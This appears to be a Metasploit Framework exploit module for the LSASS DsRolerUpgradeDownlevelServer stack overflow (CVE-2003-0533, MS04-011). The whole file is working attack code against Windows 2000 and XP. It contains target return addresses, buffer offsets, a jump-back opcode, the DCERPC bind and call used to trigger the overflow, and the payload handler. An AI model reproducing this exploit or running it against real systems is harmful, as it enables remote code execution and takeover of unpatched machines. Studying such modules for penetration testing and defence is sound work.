Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
#  
# This module exploits a vulnerability in the LSASS service  
#  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the LSASS service, this vulnerability  
was originally found by eEye. When re-exploiting a Windows XP system, you will need  
need to run this module twice. DCERPC request fragmentation can be performed by setting  
'FragSize' parameter.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0533' ],  
[ 'OSVDB', '5248' ],  
[ 'BID', '10108' ],  
[ 'MSB', 'MS04-011' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# Automatic  
[   
'Automatic Targetting',  
{  
'Rets' => [ ],  
},  
],  
# Windows 2000  
[   
'Windows 2000 English',  
{  
'Rets' => [ 0x773242e0 ],  
},  
],  
# Windows XP  
[   
'Windows XP English',  
{  
'Rets' => [ 0x7449bf1a ],  
},  
],   
],  
'DefaultTarget' => 0))  
end  
  
def exploit  
  
connect()  
smb_login()  
  
handle = dcerpc_handle('3919286a-b10c-11d0-9ba8-00c04fd92ef5', '0.0', 'ncacn_np', ['\lsarpc'])  
print_status("Binding to #{handle}...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle}...")  
  
print_status('Getting OS information...')  
  
# Check the remote OS name and version  
os = smb_peer_os  
buff = ''  
case os  
  
# Windows 2000 requires that the string be unicode formatted  
# and give us a nice set of registers which point back to  
# the un-unicoded data. We simply return to a nop sled that  
# jumps over the return address, some trash, and into the  
# final payload. Easy as pie.   
when /Windows 5\.0/  
str = rand_text_alphanumeric(3500)  
str[2020, 4] = [targets[1]['Rets'][0]].pack('V')  
str[2104, payload.encoded.length ] = payload.encoded  
buff = NDR.UnicodeConformantVaryingString(str)  
  
# Windows XP is a bit different, we need to use an ascii  
# buffer and a jmp esp. The esp register points to an  
# eight byte segment at the end of our buffer in memory,  
# we make these bytes jump back to the beginning of the  
# buffer, giving us about 1936 bytes of space for a  
# payload.   
when /Windows 5\.1/  
str = rand_text_alphanumeric(7000) + "\x00\x00"  
str[0, payload.encoded.length ] = payload.encoded  
str[1964, 4] = [targets[2]['Rets'][0]].pack('V')  
str[1980, 5] = "\xe9\x3f\xf8\xff\xff" # jmp back to payload  
str[6998, 2] = "\x00\x00"  
buff = NDR.UnicodeConformantVaryingStringPreBuilt(str)  
  
# Unsupported target  
else  
print_status("No target is available for #{ os }")  
return  
end  
  
stub = buff +   
NDR.long(rand(0xFFFFFF)) +   
NDR.UnicodeConformantVaryingString('') +  
NDR.UnicodeConformantVaryingString('') +  
NDR.UnicodeConformantVaryingString('') +  
NDR.UnicodeConformantVaryingString('') +  
NDR.long(rand(0xFFFFFF)) +   
NDR.UnicodeConformantVaryingString('') +  
NDR.long(rand(0xFFFFFF)) +   
NDR.UnicodeConformantVaryingString('') +  
NDR.long(rand(0xFFFFFF)) +   
NDR.UnicodeConformantVaryingString('') +  
rand_text(528) +   
rand_text(528) +   
NDR.long(rand(0xFFFFFF))  
  
print_status("Trying to exploit #{os}")  
  
begin  
response = dcerpc_call(9, stub)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
print_status('Server did not respond, but that should be ok...')  
rescue Rex::Proto::DCERPC::Exceptions::Fault  
case $!.fault  
when 0x1c010002  
print_status('Server appears to have been patched')  
else  
print_status("Unexpected DCERPC fault 0x%.8x" % $!.fault)  
end  
end  
  
# Perform any required client-side payload handling  
handler  
end  
end  
`